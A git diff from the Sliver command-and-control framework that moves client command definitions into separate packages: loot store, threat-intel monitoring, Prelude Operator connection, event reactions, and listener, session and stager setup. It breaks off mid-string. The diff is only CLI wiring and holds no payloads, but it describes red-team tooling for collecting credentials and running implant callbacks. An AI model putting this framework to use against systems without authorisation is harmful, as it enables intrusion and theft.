func(cmd *cobra.Command, args []string) { + con.Println(licenses.All) + }, + GroupID: consts.GenericHelpGroup, + } + + return []*cobra.Command{licensesCmd} +} diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go new file mode 100644 index 0000000000..4087ce6ed4 --- /dev/null +++ b/client/command/loot/commands.go @@ -0,0 +1,116 @@ +package loot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + lootCmd := &cobra.Command{ + Use: consts.LootStr, + Short: "Manage the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr}), + Run: func(cmd *cobra.Command, args []string) { + LootCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("loot", true, lootCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("loot", false, lootCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + + lootAddCmd := &cobra.Command{ + Use: consts.LootLocalStr, + Short: "Add a local file to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddLocalCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootAddCmd) + flags.Bind("loot", false, lootAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + flags.BindFlagCompletions(lootAddCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") + (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") + }) + carapace.Gen(lootAddCmd).PositionalCompletion( + carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) + + lootRemoteCmd := &cobra.Command{ + Use: consts.LootRemoteStr, + Short: "Add a remote file from the current session to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddRemoteCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootRemoteCmd) + flags.Bind("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + flags.BindFlagCompletions(lootRemoteCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") + (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") + }) + carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) + + lootRenameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Re-name a piece of existing loot", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRenameCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRenameCmd) + + lootFetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), + Run: func(cmd *cobra.Command, args []string) { + LootFetchCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootFetchCmd) + flags.Bind("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save loot to a local file") + f.StringP("filter", "f", "", "filter based on loot type") + }) + flags.BindFlagCompletions(lootFetchCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") + }) + + lootRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRmCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRmCmd) + flags.Bind("loot", false, lootRmCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + + return []*cobra.Command{lootCmd} +} diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go new file mode 100644 index 0000000000..3a3080ee5d --- /dev/null +++ b/client/command/monitor/commands.go @@ -0,0 +1,33 @@ +package monitor + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + monitorCmd := &cobra.Command{ + Use: consts.MonitorStr, + Short: "Monitor threat intel platforms for Sliver implants", + GroupID: consts.SliverHelpGroup, + } + monitorCmd.AddCommand(&cobra.Command{ + Use: "start", + Short: "Start the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStartCmd(cmd, con, args) + }, + }) + monitorCmd.AddCommand(&cobra.Command{ + Use: "stop", + Short: "Stop the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStopCmd(cmd, con, args) + }, + }) + + return []*cobra.Command{monitorCmd} +} diff --git a/client/command/operators/commands.go b/client/command/operators/commands.go index 03edb8b160..2713a124b3 100644 --- a/client/command/operators/commands.go +++ b/client/command/operators/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) *cobra.Command { +func Commands(con *console.SliverConsoleClient) []*cobra.Command { operatorsCmd := &cobra.Command{ Use: consts.OperatorsStr, Short: "Manage operators", @@ -25,5 +25,5 @@ func Commands(con *console.SliverConsoleClient) *cobra.Command { f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - return operatorsCmd + return []*cobra.Command{operatorsCmd} } diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go new file mode 100644 index 0000000000..9167d3037b --- /dev/null +++ b/client/command/prelude-operator/commands.go @@ -0,0 +1,45 @@ +package operator + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + operatorCmd := &cobra.Command{ + Use: consts.PreludeOperatorStr, + Short: "Manage connection to Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + OperatorCmd(cmd, con, args) + }, + } + + operatorConnectCmd := &cobra.Command{ + Use: consts.ConnectStr, + Short: "Connect with Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), + Run: func(cmd *cobra.Command, args []string) { + ConnectCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + operatorCmd.AddCommand(operatorConnectCmd) + flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") + f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") + f.StringP("range", "r", "sliver", "Agents range") + }) + carapace.Gen(operatorConnectCmd).PositionalCompletion( + carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) + + return []*cobra.Command{operatorCmd} +} diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go new file mode 100644 index 0000000000..5c8d215a30 --- /dev/null +++ b/client/command/reaction/commands.go @@ -0,0 +1,87 @@ +package reaction + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + reactionCmd := &cobra.Command{ + Use: consts.ReactionStr, + Short: "Manage automatic reactions to events", + Long: help.GetHelpFor([]string{consts.ReactionStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + + reactionSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set a reaction to an event", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSetCmd) + flags.Bind("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { + f.StringP("event", "e", "", "specify the event type to react to") + }) + + flags.BindFlagCompletions(reactionSetCmd, func(comp *carapace.ActionMap) { + (*comp)["event"] = carapace.ActionValues( + consts.SessionOpenedEvent, + consts.SessionClosedEvent, + consts.SessionUpdateEvent, + consts.BeaconRegisteredEvent, + consts.CanaryEvent, + consts.WatchtowerEvent, + ) + }) + + reactionUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Unset an existing reaction", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionUnsetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionUnsetCmd) + flags.Bind("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { + f.IntP("id", "i", 0, "the id of the reaction to remove") + }) + flags.BindFlagCompletions(reactionUnsetCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = ReactionIDCompleter(con) + }) + + reactionSaveCmd := &cobra.Command{ + Use: consts.SaveStr, + Short: "Save current reactions to disk", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSaveCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSaveCmd) + + reactionReloadCmd := &cobra.Command{ + Use: consts.ReloadStr, + Short: "Reload reactions from disk, replaces the running configuration", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionReloadCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionReloadCmd) + + return []*cobra.Command{reactionCmd} +} diff --git a/client/command/server.go b/client/command/server.go index 399e9a4c73..5ff9306a07 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,13 +19,8 @@ package command */ import ( - "os" - "github.com/reeflective/console" - "github.com/reeflective/console/commands/readline" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" @@ -35,10 +30,10 @@ import ( "github.com/bishopfox/sliver/client/command/creds" "github.com/bishopfox/sliver/client/command/exit" "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/hosts" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/jobs" + "github.com/bishopfox/sliver/client/command/licenses" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/monitor" "github.com/bishopfox/sliver/client/command/operators" @@ -53,7 +48,6 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/licenses" ) // ServerCommands returns all commands bound to the server menu, optionally @@ -67,1686 +61,69 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. }, } - // Load Reactions - n, err := reaction.LoadReactions() - if err != nil && !os.IsNotExist(err) { - con.PrintErrorf("Failed to load reactions: %s\n", err) - } else if n > 0 { - con.PrintInfof("Loaded %d reaction(s) from disk\n", n) - } - - // [ Groups ] ---------------------------------------------- - groups := []*cobra.Group{ - {ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.PayloadsHelpGroup, Title: consts.PayloadsHelpGroup}, - {ID: consts.SliverHelpGroup, Title: consts.SliverHelpGroup}, - } - server.AddGroup(groups...) - - // [ Exit ] --------------------------------------------------------------- - exitCmd := &cobra.Command{ - Use: "exit", - Short: "Exit the program", - Run: func(cmd *cobra.Command, args []string) { - exit.ExitCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(exitCmd) - - // [ Aliases ] --------------------------------------------- - - aliasCmd := &cobra.Command{ - Use: consts.AliasesStr, - Short: "List current aliases", - Long: help.GetHelpFor([]string{consts.AliasesStr}), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(aliasCmd) - - aliasLoadCmd := &cobra.Command{ - Use: consts.LoadStr + " [ALIAS]", - Short: "Load a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesLoadCmd(cmd, con, args) - }, - } - carapace.Gen(aliasLoadCmd).PositionalCompletion( - carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) - aliasCmd.AddCommand(aliasLoadCmd) - - aliasInstallCmd := &cobra.Command{ - Use: consts.InstallStr + " [ALIAS]", - Short: "Install a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesInstallCmd(cmd, con, args) - }, - } - carapace.Gen(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) - aliasCmd.AddCommand(aliasInstallCmd) - - aliasRemove := &cobra.Command{ - Use: consts.RmStr + " [ALIAS]", - Short: "Remove an alias", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter()) - aliasCmd.AddCommand(aliasRemove) - - // [ Armory ] --------------------------------------------- - - armoryCmd := &cobra.Command{ - Use: consts.ArmoryStr, - Short: "Automatically download and install extensions/aliases", - Long: help.GetHelpFor([]string{consts.ArmoryStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("armory", true, armoryCmd, func(f *pflag.FlagSet) { - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") - f.StringP("timeout", "t", "15m", "download timeout") - }) - server.AddCommand(armoryCmd) - - armoryInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an alias or extension", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryInstallCmd(cmd, con, args) - }, - } - carapace.Gen(armoryInstallCmd).PositionalCompletion( - armory.AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install")) - armoryCmd.AddCommand(armoryInstallCmd) - - armoryUpdateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Update installed an aliases and extensions", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryUpdateCmd(cmd, con, args) - }, - } - armoryCmd.AddCommand(armoryUpdateCmd) - - armorySearchCmd := &cobra.Command{ - Use: consts.SearchStr, - Short: "Search for aliases and extensions by name (regex)", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmorySearchCmd(cmd, con, args) - }, - } - carapace.Gen(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) - armoryCmd.AddCommand(armorySearchCmd) - - // [ Update ] -------------------------------------------------------------- - - updateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Check for updates", - Long: help.GetHelpFor([]string{consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - update.UpdateCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, updateCmd, func(f *pflag.FlagSet) { - f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(updateCmd) - - versionCmd := &cobra.Command{ - Use: consts.VersionStr, - Short: "Display version information", - Long: help.GetHelpFor([]string{consts.VersionStr}), - Run: func(cmd *cobra.Command, args []string) { - update.VerboseVersionsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, versionCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(versionCmd) - - // [ Jobs ] ----------------------------------------------------------------- - - jobsCmd := &cobra.Command{ - Use: consts.JobsStr, - Short: "Job control", - Long: help.GetHelpFor([]string{consts.JobsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.JobsCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("jobs", true, jobsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("jobs", false, jobsCmd, func(f *pflag.FlagSet) { - f.Int32P("kill", "k", -1, "kill a background job") - f.BoolP("kill-all", "K", false, "kill all jobs") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(jobsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = jobs.JobsIDCompleter(con) - }) - server.AddCommand(jobsCmd) - - mtlsCmd := &cobra.Command{ - Use: consts.MtlsStr, - Short: "Start an mTLS listener", - Long: help.GetHelpFor([]string{consts.MtlsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.MTLSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(mtlsCmd) - - wgCmd := &cobra.Command{ - Use: consts.WGStr, - Short: "Start a WireGuard listener", - Long: help.GetHelpFor([]string{consts.WGStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.WGListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port") - f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") - f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(wgCmd) - - dnsCmd := &cobra.Command{ - Use: consts.DnsStr, - Short: "Start a DNS listener", - Long: help.GetHelpFor([]string{consts.DnsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.DNSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("DNS listener", false, dnsCmd, func(f *pflag.FlagSet) { - f.StringP("domains", "d", "", "parent domain(s) to use for DNS c2") - f.BoolP("no-canaries", "c", false, "disable dns canary detection") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(dnsCmd) - - httpCmd := &cobra.Command{ - Use: consts.HttpStr, - Short: "Start an HTTP listener", - Long: help.GetHelpFor([]string{consts.HttpStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTP listener", false, httpCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(httpCmd) - - httpsCmd := &cobra.Command{ - Use: consts.HttpsStr, - Short: "Start an HTTPS listener", - Long: help.GetHelpFor([]string{consts.HttpsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.HTTPSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("HTTPS listener", false, httpsCmd, func(f *pflag.FlagSet) { - f.StringP("domain", "d", "", "limit responses to specific domain") - f.StringP("website", "w", "", "website name (see websites cmd)") - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") - f.BoolP("disable-otp", "D", false, "disable otp authentication") - f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") - f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") - - f.StringP("cert", "c", "", "PEM encoded certificate file") - f.StringP("key", "k", "", "PEM encoded private key file") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") - f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") - - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(httpsCmd) - - stageCmd := &cobra.Command{ - Use: consts.StageListenerStr, - Short: "Start a stager listener", - Long: help.GetHelpFor([]string{consts.StageListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.StageListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("stage listener", false, stageCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "implant profile name to link with the listener") - f.StringP("url", "u", "", "URL to which the stager will call back to") - f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") - f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") - f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") - f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") - f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") - f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") - f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") - }) - FlagComps(stageCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") - (*comp)["key"] = carapace.ActionFiles().Tag("key file") - (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") - }) - server.AddCommand(stageCmd) - - // [ Operators ] -------------------------------------------------------------- - - operatorsCmd := &cobra.Command{ - Use: consts.OperatorsStr, - Short: "Manage operators", - Long: help.GetHelpFor([]string{consts.OperatorsStr}), - Run: func(cmd *cobra.Command, args []string) { - operators.OperatorsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("operators", false, operatorsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(operatorsCmd) - - // Server-only commands. + // [ Server-only ] if serverCmds != nil { server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) server.AddCommand(serverCmds()...) } - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - server.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - // [ Use ] -------------------------------------------------------------- - - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(useCmd) - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Settings ] -------------------------------------------------------------- - - settingsCmd := &cobra.Command{ - Use: consts.SettingsStr, - Short: "Manage client settings", - Long: help.GetHelpFor([]string{consts.SettingsStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.SaveStr, - Short: "Save the current settings to disk", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSaveCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: consts.TablesStr, - Short: "Modify tables setting (style)", - Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsTablesCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "beacon-autoresults", - Short: "Automatically display beacon task results when completed", - Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsBeaconsAutoResultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "autoadult", - Short: "Automatically accept OPSEC warnings", - Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAutoAdultCmd(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "always-overflow", - Short: "Disable table pagination", - Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsAlwaysOverflow(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "small-terminal", - Short: "Set the small terminal width", - Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsSmallTerm(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "user-connect", - Short: "Enable 